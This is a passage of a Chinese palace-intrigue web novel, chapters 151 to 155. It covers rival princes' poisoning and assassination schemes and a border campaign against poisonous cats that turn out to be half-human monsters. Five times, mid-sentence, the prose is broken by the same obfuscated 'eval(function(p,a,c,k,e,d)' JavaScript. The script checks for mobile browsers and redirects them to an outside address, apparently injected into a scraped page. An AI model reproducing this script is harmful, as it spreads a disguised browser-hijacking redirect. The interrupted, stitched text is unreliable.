“没什么。”姜瑶真声音低沉,“妾身只是想起,这是殿下婚后第二次打我耳光了。” 萧修湛自知理亏,语气却更冷:“谁让你不知分寸,三番两次顶撞本皇子!” “倒是妾身的不是了。”姜瑶真冷笑一声,“是啊,妾身不该反对殿下纳侧妃。不仅不该反对,还该恭祝殿下与未来侧妃百年好合,早生贵子!” 她朝他行了一礼,带着冷笑,转身离去。 这还是她首次吃了亏却未当场讨回。 望着她远去的背影,萧修湛心中泛起一丝复杂的情绪。 方才自己是否太过分了? 自从上次她害得姜莲小产后,她似乎收敛了许多,不再惹是生非。 她毕竟是正妃,夫君突然要纳侧妃,她生气也在情理之中。 想到这里,萧修湛心头涌上一抹愧疚。 他沉吟片刻,抬步走向寝殿寻她。 姜瑶真正坐在铜镜前,春花正为她卸下发髻上的朱钗。 见到他进来,春花吓得“扑通”一声跪倒在地,颤抖着行礼:“奴婢参见殿下!” 自从亲眼见他下令杖毙宋嬷嬷,春花对他便心生畏惧。 姜瑶真察觉到春花对萧修湛的恐惧,低声道:“春花,你先下去吧。” “是,王妃娘娘!”春花如蒙大赦,慌忙退下。 萧修湛脸色微沉:“我有这么可怕吗?” “春花是宋嬷嬷一手带大的,你杖毙了宋嬷嬷,她怎能不怕?”姜瑶真语气平静,带着几分疏离。 他凝视她那张明艳的脸庞,试探着问:“那你呢?你也怕我吗?” “妾身当然怕殿下。”姜瑶真语带嘲讽,语气却因她明艳的容貌,平添几分娇嗔意味,“殿下动辄甩妾身耳光,妾身怎能不怕?” 这话本是讥诮,但在萧修湛耳中,竟像是她在撒娇。 他心头一软,伸手轻抚她的脸颊:“打疼了?让我瞧瞧。” 奇怪的是,她脸颊依旧娇嫩如花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734832|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,半点红肿痕迹也无。 “方才那一巴掌,竟没在你脸上留痕?”他忍不住问,眼中带着几分惊讶。 姜瑶真冷笑:“殿下若觉得看不见痕迹,不如再来一巴掌?” “傻瓜,我哪舍得再打?”萧修湛低笑,揽她入怀,语气放软,“这次纳侧妃,确实是我操之过急,理应先与你商量。其实我本没打算这么快纳妾,只是听闻四弟私下找苏老爷议亲,我怕被他抢了先机。” “四皇子?”姜瑶真挑眉,有些意外,“他不是钟情我姐姐吗?怎会看上别的女子?” 萧修湛嗤笑:“钟情?男人眼里,哪有利益重要?苏氏产业遍布京城,苏姑娘又是苏老爷的掌上明珠,嫁妆之丰厚可想而知。娶你姐姐,不过得些清流支持,怎比得上苏家的真金白银?” “原来如此,难怪殿下急着娶苏姑娘!”姜瑶真阴阳怪气,“嫌妾身娘家帮衬少了?” “你怎能与她相比?”萧修湛凝视她,越看越觉她美得惊心动魄,“真儿,我因喜欢你才娶你为正妃,与她是两码事。” “真儿,给我生个孩子吧。有了孩子,你就不会因我纳妾而生气了。谁也动摇不了你的正妃之位!” 姜瑶真心中冷笑,这话来得太晚。 她现在已无法生育,这番许诺对她而言不过是空话。 “殿下,当初是我不懂事,害得姜贵妾小产。”她垂眸,语气平静,“往后,殿下与后院任何妾室有了孩子,我都视如己出。” “真的?”萧修湛眼中一亮,捧起她的脸,轻柔地吻上她的脸颊,“真儿,以前是我不好,往后我定好好补偿你。” 说着,他将她打横抱起,朝大床走去…… 夫妻二人感情骤然升温,接连几日如胶似漆。 没想到,宫中突然传拉力消息:苏姑娘已被皇帝指婚给五皇子萧怀瑾为侧妃。 这消息如晴天霹雳,萧修湛愣了半晌才回神。 “怎会突然扯上五弟?” 不是萧凌川要和他抢苏姑娘吗? 难道,萧凌川与萧怀瑾联手了? 第151章 是她连累了他 第一百五十一章是她连累了他 苏家千金自小被捧在掌心,性子挑剔,自然不愿嫁给妻妾成群的三皇子为侧妃。相比之下,五皇子温润如玉,又尚未娶妻纳妾,更得她青睐。 苏家也盘算着,五皇子更适合攀附。 若自家女儿得宠,未来或许还能成为正妃。 因此,当荣贵妃与苏老爷商议婚事时,苏老爷几乎未提条件便欣然应允。 既能攀上皇权,又可与崔家化解旧怨,这一举两得之事,苏家何乐而不为? 等萧修湛去找苏老爷询问此事时,一切早已尘埃落定。 苏老爷满脸赔笑:“三皇子殿下,实在是小女无福,未能成为您的侧妃,还望殿下海涵!” 萧修湛冷哼一声,脸色阴沉:“苏老爷明知本皇子有意迎娶令千金,却转头与我五弟议亲,难道在你眼中,本皇子就如此好糊弄?” “三皇子殿下言重了!”苏老爷脸上依旧是恭谨的神色,但笑容明显敛去许多,“小女无论嫁给哪位皇子,都是我苏家修来的福分。只是殿下已有一位正妃,小女自幼被我娇惯,恐难与三皇子妃和睦相处,这才退而求其次,选了五皇子殿下为未来夫婿。还请殿下莫要动怒!” 这话虽委婉,却透着对萧修湛妻妾众多的不满。 萧修湛一时间竟无力反驳,只能拂袖而去。 除了萧修湛,还有一人对这件事心生不满。 张嫣在家中哭得撕心裂肺:“他怎能娶侧妃?怎能就这么娶了侧妃?” 张尚书在一旁,脸色铁青,恨铁不成钢地斥道:“嫣儿,你不是答应过为父,要忘了五皇子,与二皇子好好过日子吗?怎又为他的事哭闹不休?若传出去,成何体统?” “父亲,他竟要娶一个商贾之女,这绝不是他的本意!”张嫣泪眼婆娑,语气急切,“他如今不在宫中,定是被荣贵妃当作结盟的筹码。父亲,您能否想办法将此事告知他,让他速回阻止这桩婚事?” “胡闹!”张尚书脸色骤沉,怒声喝道,“陛下已为五皇子和苏家女赐婚,此事早已板上钉钉,哪是他一人之力能更改的?婚姻大事,向来由父母做主,皇子更是如此!你就别再执迷不悟了!” 张嫣泪流满面,心中愈发不甘。 连姜姝宁那样的高门贵女,她都觉得配不上五皇子,更何况一个满身铜臭的商家之女? 五皇子那般清隽出尘的人物,怎能与这种身份的女子成亲? 若这苏家女不在了,这婚事是不是就结不成了? 想到此处,张嫣脸上浮现一抹阴郁的神色。 “张姑娘,无事不登三宝殿,有话不妨直说。”麟阁宫前厅,姜瑶真端着茶杯,慢悠悠地开口。 张嫣也不绕弯子,开门见山道:“不知三皇子妃这里,可有能置人于死地的**?” 这话一出,姜瑶真险些被茶水呛到。 她抬眼,狐疑地打量着张嫣,压低了声音:“你想毒害谁?” 张嫣冷冷地开口:“苏家女。” “就是那个与五皇子定亲的苏家女?”姜瑶真笑意渐深,眼中闪过一丝了然。 心想,这张嫣怕是要将所有与萧怀瑾沾边的女子赶尽杀绝。 留着她,倒不愁没人帮她弄死姜姝宁。 她亲自为张嫣斟了一杯茶,语调缓而沉:“你可知,**并不难,难的是杀完人还能全身而退。**偿命,我知你不怕死,可若连累了你父亲和弟弟,你舍得吗?” 张嫣闻言一惊,忙道:“张嫣莽撞,愿听三皇子妃安排。” “不急,得挑个好时机。”姜瑶真笑得意味深长。 她心中已开始盘算,如何让苏家女的死,成为一箭双雕的棋局,最好还能趁机中伤萧凌川和姜姝宁,那就更完美了。 相府,翠竹院。 凌芜依照萧凌川的吩咐,特意在姜姝宁面前提起:“大小姐,听说五皇子殿下与苏家女定亲了!” 姜姝宁正在缝制香囊,闻言手下一顿,针线停在了半空。 “若五皇子与苏姑娘结亲,能促成崔苏两家共同为大邺出力,也算是一件好事。”她语气平淡,仿佛在说一件无关紧要的事。 虽然此事由萧凌川刻意促成,但她明白,皇室需要商人的财富支持,商人亦需皇室的庇护,这门亲事实为各取所需的双赢之策。 “姜姑娘难道一点都不介意吗?毕竟人尽皆知,五皇子殿下对您心生倾慕……” “凌芜,别再提这样的话。”姜姝宁打断她,声音清冷,“我与五皇子之间毫无瓜葛,况且,我已经说过,此生不嫁。他娶谁,都与我无关。” “是,大小姐,奴婢多嘴了!”凌芜偷瞄姜姝宁,见她神色如常,毫无波澜,心中暗自欣喜。 她就知道,大小姐对五皇子并无男女之情,得知他与他人定亲,也丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734833|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不放在心上。 凌芜不知道的是,在她转身离去的那一刻,姜姝宁的脸上闪过一抹难以掩饰的哀伤。 尽管这门亲事对崔苏两家有益,但她清楚,以萧怀瑾的性子,是不愿成为利益捆绑的棋子的。 姜姝宁心头一阵酸涩。 他本可如前世那般,做个逍遥自在的闲散王爷。 终究,是她连累了他。 她摩挲着香囊上那个小得可以忽略的“瑾”字,眸色黯淡。 金銮殿上,皇帝脸色阴沉。 二皇子率十万精兵出征,击退南月敌军的侵扰,本该是稳操胜券的战局。 按照先前估算,两月之内便可凯旋而归。 然而,如今三月有余,大军仍无归期。 近日,二皇子身边的副将带着满身伤痕回到京城,却在抵达城门时**。 仵作验尸后发现,他竟中了不明之毒,身上布满道道血痕,似被野兽抓挠,而非人为。 从副将身上搜出一封信,内容令人震怖: 二皇子初战告捷,比预期早一月大胜,兵马几乎毫无折损。 有人趁势提议,直取南月国,彻底根除大邺后患。 二皇子年轻气盛,受此鼓动,果真挥军攻入南月边境的鲤城。 破城当日,鲤城百姓当即缴械,誓言臣服于大邺。 二皇子喜不自胜,放松警惕,将大军驻扎鲤城,准备乘胜追击。 不料,入住鲤城的第二晚,形势急转直下。 深夜,城中突然涌现无数南月猫,凶残异常,见人就扑,咬伤的士兵伤口溃烂,任凭何种药物皆无济于事。 二皇子察觉这是南月人的陷阱时,已为时太晚。 他率军撤退,途中却仍有士兵接连倒下,更可怕的是,那些毒猫竟藏于粮草之中,随军潜回大邺。 为剿灭这些带毒的南月猫,二皇子只得命残部驻守大邺南部边境,日夜巡防,以免毒猫祸及百姓。 如今,十万大军仅剩不足一万…… 内**信的内容宣读完毕,朝堂上一片死寂,恐惧如潮水般蔓延。 二十多年前,南月猫在皇宫肆虐,咬死无数宫人,至今仍是许多人心中的梦魇。 如今,这些毒猫竟愈发凶残,连精锐士兵也难逃其爪。 就在此时,朝堂中响起一道清朗之声:“父皇,儿臣愿出征,助二哥解围!” 第152章 阴谋与利刃 第一百五十二章阴谋与利刃 开口之人正是四皇子萧凌川。 他话音未落,三皇子萧修湛便当即反对:“父皇,万万不可!二哥如今身陷险境,分明是南月人设下的诡计。南月人素来狡诈阴险,四弟身上流着一半南月血,谁能保证他不是通敌,欲借机助南月侵我大邺?” 萧凌川闻言,唇角勾起一抹嘲讽:“三哥说得有理。既如此,不如就请三哥带兵前去,助二哥脱困如何?” “你……”萧修湛脸色骤变,声音微颤,“那些南月猫能咬**,四弟如此提议,是想逼我去送死吗?” 萧凌川见他满脸惊恐,嘲意更浓:“怎么,三哥害怕?我还以为你满身大邺血脉,正直无畏,不惧南月猫之毒呢!” “你……”萧修湛被嘲讽得脸一阵红一阵青,又羞又怒。 “够了!”皇帝猛地喝断,面色阴沉如墨,“朕信老四!他生母虽是南月人,但他是大邺皇子,自幼在朕膝下长大,还曾舍命救朕,朕信他绝不会勾结外敌,危害大邺子民!” “谢父皇!”萧凌川拱手,朗声应道。 “老四,你可有法子应对那些带毒的南月猫?”皇帝目光锐利。 “启禀父皇,儿臣深知大邺多年避免与南月正面交锋,一是为了免百姓饱受战火之苦,二是因为忌惮南月之毒。 为此,儿臣耗费心力,走访大邺各地名医,终结识一位孙姓神医。他能在极短时间内配出**的解药。儿臣此次愿带他同行,定能助儿臣抵御南月毒猫之害!”萧凌川道。 皇帝闻言,脸上露出欣慰之色:“老四果有远见,朕心甚慰!既如此,朕允你率五万兵马,速去支援老二!千万别让朕失望!” “父皇放心,儿臣必不负重托,誓将南月毒猫尽数剿灭,还大邺百姓一个安定盛世!” “待你凯旋,朕必重赏!” “谢父皇!”萧凌川再次拜谢,语气铿锵。 朝臣们闻此,皆暗暗松了一口气,总算有人挺身而出,应对这棘手危局。 姜丞相当即上前,拱手道:“恭喜陛下,四皇子殿下谋深虑远,真乃大邺栋梁!” 其他朝臣纷纷附和,朝堂上一时间赞誉之声此起彼伏,皆是对萧凌川的肯定与期许。 回到麟阁宫,萧修湛满脸怒容。 姜瑶真见状,款款上前,纤手轻搭在他肩上,柔声问:“殿下何事动怒?可是朝堂上不顺心?” 萧修湛冷哼一声:“我刚得知,苏家女与五弟定亲,竟是萧凌川那南月杂种牵的线!我还没找他算账,今日他竟在朝堂上**,带兵支援二哥,父皇竟还应允,许他凯旋后重赏! 他一个南月贱种,凭什么得此殊荣?更可气的是,你父亲和那群清流,竟齐声夸他深谋远虑!再这样下去,他的声望怕是要盖过我了!” 姜瑶真轻笑,语气柔和却暗藏锋芒:“殿下何须为此烦心?妾身听闻那南月猫凶残无比,毒性致命,被咬之人无药可救。四皇子既要逞英雄,便让他去送死好了。” “你有所不知,”萧修湛脸上带着不甘,“他身边有个姓孙的神医,据说能迅速配出解毒之药。他此行还要带上这神医,瞧他那模样,似对剿灭南月毒猫胸有成竹!” “孙神医?”姜瑶真心中一凛,暗道难怪几次对萧凌川下毒皆无功而返,原来有此高人护持。 她唇角勾起一抹阴狠笑意,低声道,“殿下,这有何难?杀了那孙神医便是。到时四皇子骑虎难下,只得硬着头皮前往南部边境,独自面对南月毒猫。届时,他与二皇子若双双折在毒猫爪下,殿下不就少了两个心腹大患?” “对!真儿此计甚妙!”萧修湛一把将姜瑶真拉入怀中,让她坐在自己腿上,宠溺地刮了刮她的鼻尖,笑道,“还是真儿聪慧,一语点醒我!说吧,此事若成,我该如何赏你?” 姜瑶真故作娇羞,依在他胸前,柔声道:“殿下是妾身的夫君,妾身为殿下出谋划策乃分内之事。若殿下真要赏妾身,待殿下登上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739385|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那至高之位,将后位赐予妾身,如何?” “哈哈,好!真儿说得好!”萧修湛朗声大笑,满脸得意,仿佛那皇位已近在眼前,唾手可得。 来福酒楼雅间内,姜瑶真与姜家姨娘在低声密谋。 姜瑶真眼中闪过一丝狠厉:“四皇子已决意亲率兵马,前往南部边境剿杀南月猫。三皇子会在他出发前除掉那孙神医。娘,这是除掉四皇子的绝佳机会,就看你的了!” 姜家姨娘比划着:“放心,如今我已不再受制于他,可放手一搏,取他性命!” 姜瑶真笑意更深:“娘,你这招引蛇出洞果真高明。四皇子还以为自己诱敌成功,殊不知更大的陷阱正等着他!他怕是做梦也想不到,迎接他的远不止南月毒猫。这一次,他休想活着回京!” 姜家姨娘拍了拍她的肩,比划道:“待南月顺利蚕食大邺,便会成为你我助力。到那时,这大邺江山,尽在我们掌中!” 姜瑶真眼中光芒闪烁:“娘,我也盼着这一天早日到来!” 萧修湛专程去了一趟角斗场。 不久前,他曾将一个力大无穷的男子送入此地,一为借其之力赚取财帛,二为砥砺其杀意。 如今,经过无数生死搏杀的锤炼,那人想必已被锻造成一把锋锐而恐怖的利刃。 昏暗的铁笼内,浩力正啃食一块血淋淋的生肉,腥气扑鼻,他却浑然不觉,吃得津津有味。 为了驯服这天生神力的男子,角斗场给他喂下慢性**,需定期服解药,否则浑身如蚁噬骨,奇痒且剧痛难忍。 浩力曾数次逃离,却总因毒发被迫折返。 萧修湛走近,俯视着他,沉声道:“帮我杀一人,我便给你彻底解毒的药方,从此让你摆脱这毒的折磨,如何?” 浩力木然的脸上终于泛起一丝波澜。 他抬头,目光如刀,直视萧修湛:“谁?” 萧修湛唇角勾起一抹阴冷笑意,一字一顿:“四皇子,萧凌川!” 第153章 直白索吻 第一百五十三章直白索吻 偏僻的巷弄中,一位鬓发花白的老者缓步前行,身后紧跟着一名手持利剑、目露凶光的蒙面男子。 那男子骤然挥剑刺向老者,不料“老者”似有所感,敏捷地避开一击,反身之际,手中的刀锋险些划伤蒙面人。 蒙面男子定睛一看,眼前之人根本不是孙神医,而是萧凌川的贴身暗卫凌风! 他心知中计,想抽身而退,凌风却不给他机会,步步紧逼,招招凌厉。 几回合下来,蒙面人便被制服,脸上的黑布也被凌风用剑尖挑落。 露出的面容赫然是萧修湛的随从。 凌风认出他后,冷笑一声:“怎么,三皇子身边无人可用了?竟派一个随从来杀孙神医,就不怕身份暴露,授人以柄?” 随从闻言,神色慌张,咬牙道:“此事是我一人所为,与三皇子无关!要杀要剐,随你处置!” “你这话,还是留着对陛下说吧!”凌风冷哼,准备上前将他捆绑起来,不料那随从像是下定决心,猛地一咬牙,嘴角突然渗出乌黑的血迹,随即倒地不起。 凌风一惊,忙上前探其鼻息,发现人已气绝。 显然,他是咬破藏在牙中的剧毒自尽的。 凌风不由摇头,心中暗叹:这三皇子,果然心狠手辣! 连随从都被养成了死士。 他暗自庆幸,幸亏自家主子不似三皇子这般冷酷无情。 凌风返回景和宫,向萧凌川禀报道:“幸亏殿下早料到三皇子会对孙神医下手,提前将人藏匿妥当,才不至于在今日惨遭三皇子随从的毒手。只可惜那随从吞毒自尽,没能成为揭发三皇子罪行的活证!” 言语间带着几分遗憾。 萧凌川对这个结果并不意外,他深谙萧修湛的谨慎和心狠手辣,只淡淡道:“任务失败,又被你识破身份,即便那随从不自尽,萧修湛也不会留他活口。罢了,今日之事就当杀杀萧修湛的锐气,也算有收获了。” 另一边,麟阁宫内,萧修湛得知刺杀失败,盛怒之下摔碎了一只青花瓷茶盏。 宫人们吓得噤若寒蝉,姜瑶真连忙上前安抚:“殿下何必动怒?就算让他带着孙神医去了南部边境,也未必能派上用场。南月猫凶残异常,说不定孙神医还未制出解药,就已命丧猫口!” 这话让萧修湛怒气稍平,眼中闪过一抹阴鸷:“真儿说得对,南部边境如今局势诡秘,哪有那么容易破局!” 更何况,他还为萧凌川备了一份“大礼”,他就不信,萧凌川能活着回京! 相府,翠竹院。 凌芜匆匆赶来禀报:“大小姐,刚才奴婢收到四皇子传来的消息,请您即刻前往来福酒楼与他相见!” “何事如此急迫?”姜姝宁微微蹙眉,手中的绣针被迫停下。 “奴婢也不清楚,只听说南部边境出了大事,四皇子可能要率兵出征。”凌芜语气急切,催促道,“大小姐,快些走吧!” 说着,她不容姜姝宁迟疑,直接拉着她往门外去。 凌芜习武,力气极大,姜姝宁根本挣脱不开,被拽着前行。 她只能将还未绣完的香囊塞进袖子里。 不多时,她们便抵达来福酒楼。 萧凌川早已在雅间等候,一见她进门,便起身快步迎上。 姜姝宁微微欠身行礼:“臣女见过四皇子……” 话未说完,萧凌川已将她紧紧拥入怀中。 她整个人僵住,双目圆睁,眼中满是难以置信。 他这是……怎么了? 萧凌川双臂收紧,仿佛要将她融入骨血之中:“我要带兵出征了,明日便启程。” 他的嗓音低哑微颤,与平日冷静自持的模样判若两人。 原本打算凯旋归来再见她,可终究按捺不住心绪。 此行凶险,他不知何日能归。 一想到有很长时间见不到她,他就心绪难平。 若不与她见上一面,他怕自己会在征途中思念成疾。 姜姝宁怔忪片刻,才不动声色地从他怀中挣脱,垂眸行礼:“臣女祝殿下旗开得胜,早日凯旋!” 见她这般客套疏离,萧凌川心中泛起一阵酸涩。 前世她的心全系在他身上,每次他远行,她总是满脸担忧,问东问西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739386|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如今他要亲率大军出征,她神色平静,毫无波澜。 “难道你就一点也不担心我?”他忍不住问。 姜姝宁神情依旧淡然:“殿下用兵如神,定能大获全胜。臣女只需静候殿下凯旋归来便好。” 她还记得前世,每次他出远门,她总是细细询问,而他却总是不耐,冷言冷语:“本王的事,何须事无巨细向你交代?” 如今,她又何必自讨没趣? 况且,若无十拿九稳的胜算,他怎会亲自领兵出征? 萧凌川低头凑近她,桃花眸中涌动着浓烈的情意:“那你亲我一下。” 姜姝宁闻言,瞳仁骤缩。 她万没想到他会如此直白地索吻,本能地想要拒绝。 可萧凌川似是铁了心想要得到她的吻,大掌牢牢扣住她的后脑勺,强势地俯身靠近。 挣扎间,她袖中的香囊滑落,掉在了地上。 萧凌川一下便瞧见了,弯腰拾起,仔细端详,眼中泛起亮光:“这是为我准备的?” 当然不是! 姜姝宁险些脱口而出。 这香囊是为萧怀瑾所制,竹青色绸面,内填了提神醒脑的草药。 等萧怀瑾回宫,得知被安排与苏家姑娘结亲,定会心生不满。 若非为了膈应她,萧凌川也不会促成这门亲事。 虽说萧怀瑾不知此事因她而起,但她却无法心安。 这香囊,便是她的一点补偿。 而此刻,这香囊落在了萧凌川手中。 姜姝宁心提到了嗓子眼,生怕他看到香囊上绣着的“瑾”字。 “殿下,这香囊还没做好……” 萧凌川像是没听到她的话一般,自顾自地将香囊凑到鼻尖,深深吸了一口气。 一股浓郁的薄荷清香扑鼻而来,他顿时觉得神清气爽。 “这香囊我很中意。我会随身携带,片刻不离!”他将她拥进怀里,声音软得一塌糊涂,“姝宁,谢谢你!” 她还是在意他的,不然,怎么还跟前世一样做香囊送他? 他没有看到姜姝宁此时一言难尽的表情。 第154章 有怪物 第一百五十四章有怪物 前世,姜姝宁为萧凌川做的香囊,少说也有七八个。 每次送上,他总是眉头紧锁,满脸嫌弃:“哪个男子会随身带着香囊这种东西?” 姜姝宁反驳道:“香囊本就是女子为心上人所制,京城里哪个男子不佩戴?” “总之,我绝不会戴!”他冷冷丢下这句话,随手将香囊扔在桌上,再未多看一眼。 她起初以为,他是真的不喜欢香囊,可后来有一次在他的生辰宴上,姜瑶真派人送来一个香囊,他小心翼翼地收起,藏进了书房。 那刻她才明白,他并非不喜欢香囊,只是不喜欢她做的罢了。 如今,他捧着她为五皇子绣制的香囊,一副视若珍宝的模样,又是何意? 难道世间男子皆是如此,对送到手中的东西视若无睹,却偏偏对那本不该属于自己的事物如获至宝? 哪怕是那样东西是感情? 简直让人心寒! 姜姝宁心中郁结难平,鬼使神差地未曾开口争辩,竟任由他带着那绣着“瑾”字的香囊离去。 心底深处,甚至暗藏一丝恶念,盼着他有朝一日能发现真相。 第二日,大军整装启程,萧凌川特意摸了摸怀中藏着的香囊,心中涌起一丝欣慰。 前世,他其实并不喜欢香囊,尤其是那些添加了香料的,会干扰他对毒物气味的敏锐判断。 因此,他一次次拒绝了姜姝宁亲手所制的香囊。 她离世后,他无意间发现了那些被他随手丢弃在房中的香囊。 针脚细密工整,每一个的图案都各不相同,足见她的用心。 府里的人告诉他,景王妃针线活本就不佳,但为了做出他喜欢的香囊,她总是格外费心,甚至反复揣摩他究竟中意何种样式。 听到这话,他心如刀绞,悔恨不已。 为何前世他不曾坦言,自己厌恶香囊的真正原因? 害她白白揣测他的心意许久,直至离世也不知,他拒绝香囊,并非因图案或绣工不合心意,而是因他害怕香味麻痹嗅觉,让他失去辨别毒物气味的能力。 今生,别说是香料了,就是她在香囊里放**,只要是她亲手做的,他都会视若珍宝。 约莫半个月后,萧凌川带领的五万士兵终于抵达南部边境的城镇——南朔。 还未踏入城门,他便察觉到一股诡异的气息扑面而来。 南朔城内一片死寂,街道上空无一人,房屋破败,墙角甚至长满了青苔,仿佛这座城早已被遗弃了数年。 他怀中的黑豹低吼着,毛发炸起,双眼死死盯着城门深处,喉咙里发出“呜呜”的警告声,似是嗅到了什么极度危险的东西。 凌风骑马近前,皱着眉头四下张望,忍不住开口问道:“殿下,这地方怎么空荡荡的?咱们要进去找二皇子殿下吗?” 萧凌川眯起双眼,冷冷扫了一眼城门内阴暗的巷道,薄唇微抿,语气里带着不容置疑的沉稳:“不急。先让士兵们服下药丸,再烧一锅水,把带来的草药放进去,让他们将兵器浸泡在草药水里至少两个时辰。” “是,殿下!”凌风立刻领命,转身去传令。 出征前,萧凌川特意让孙神医根据黑豹毒牙上的毒,配制了对应的解药。 此次行程凶险,他并未将孙神医带在身边,之前在朝堂上那么说,只为让皇帝相信他有成功剿杀南月猫的能力。 南月人未免太小瞧他了,妄想以区区南月猫攻陷大邺的南朔? 简直是痴心妄想! 他低头,轻抚黑豹光滑的毛发,声音低沉却带着一丝宠溺:“这一战,就看你的了,别让我失望。” 黑豹像是听懂了他的话,用头蹭了蹭他的掌心,似在回应他的期待。 第二日,一切准备妥当。 所有士兵都服下了药丸,手中的兵器也浸泡过草药煮成的水,散发着一股特有的草药味。 萧凌川这才带着几千名精锐士兵先行进入南朔,其余大军则在城外扎营待命。 他心底十分笃定,不过是些南月猫罢了,用不着兴师动众。 待到将这些畜生杀个干净,再让剩余士兵镇守南朔,想必南月不敢再继续造次。 然而,踏入城门的那一刻,萧凌川便感到一股寒意从脚底直窜上脊背。 街道两旁的房屋门窗紧闭,空气中弥漫着一股腐朽的气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742866|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,隐约还夹杂着某种腥臭,令人作呕。 黑豹在他怀中不安地扭动,低吼声越发急促,仿佛随时要扑向前方撕咬什么。 “殿下,这地方……不对劲啊。”凌风压低声音,握紧了腰间的长刀,神色紧张地四下打量,“怎么连个活人都没瞧见?莫不是中了埋伏?” 萧凌川冷哼一声,狭长的眼眸中闪过一抹不屑:“埋伏?南月人向来狡诈,但也不过是些上不得台面的小伎俩罢了。” 他顿了顿,目光扫向远处巷道尽头,那里似乎有一团黑影一闪而过。 他心头一紧,连忙吩咐道:“传令下去,所有人提高警惕,若有异动,格杀勿论!” “是!”凌风应声,迅速传令。 可就在这时,远处巷道中突然传来一阵低沉的嘶吼,像是某种野兽濒死的哀鸣,又像是某种东西在用力撕扯血肉的声音。 萧凌川眉心紧蹙,手指下意识按住了腰间的佩剑,黑豹更是直接从他怀中跃下,弓起背脊,露出了尖锐的獠牙。 “什么声音?”凌风咬紧牙关,声音里透着一丝不安,“殿下,要不咱们先退回去?” “虚张声势罢了,何须惧怕?给我往前探,看他们到底在玩什么花样!”萧凌川声音低沉而冰冷,像是从地狱里刮出来的风,带着让人不寒而栗的杀意。 然而,他的话音刚落,巷道深处骤然传来一阵急促的脚步声,紧接着,一道人影踉跄着冲了出来。 那人衣衫褴褛,脸上满是惊恐,见到萧凌川一行人,像是抓住了救命稻草,嘶哑着嗓子喊道:“殿下!救命!城里……城里有怪物!” 凌风上前一步,挡住他,沉声喝问:“你是何人?二皇子殿下现在何处?” “回四皇子殿下,我、我是二皇子身边的贴身侍卫,二皇子他此刻藏身于一处隐秘之地,等待救援!”那侍卫声音颤抖,几欲哭出声来,“殿下,求您快救救二皇子吧,我们的人快撑不住了!” 萧凌川面色冷峻,语气中带着几分不屑:“不过是些带毒的野猫罢了,竟将你们吓成这副模样!” “殿下,那不是猫,是……”侍卫哆嗦了半天,才挤出一句话,“是半人半兽的怪物啊!” 第155章 双目赤红、状若疯魔的“人” 第一百五十五章双目赤红、状若疯魔的“人” “你说什么?人?”萧凌川满脸狐疑,“咬伤士兵的不是南月猫吗?” 就在此时,几个人影忽然从巷道冒了出来。 他们行动僵硬,姿势怪异,有些穿着侍卫的铠甲,有些穿着寻常百姓的衣服,但无一例外,他们双目赤红,瞳孔涣散,脸上毫无表情,宛如一具具没有灵魂的行尸走肉,正一步步朝他们逼近。 空气中那股腐朽的腥臭味似乎更加浓郁了,令人闻之欲呕。 那贴身侍卫见到这番景象,吓得魂飞魄散,指着那些逼近的人影惊恐大叫:“殿下,他、他们来了!就是他们!” 萧凌川还未反应过来,其中一名穿着侍卫铠甲的男子,突然一跃而起,像一头捕食的饿狼,张开布满黑色血丝的嘴,露出尖锐的牙齿,直直扑向他! 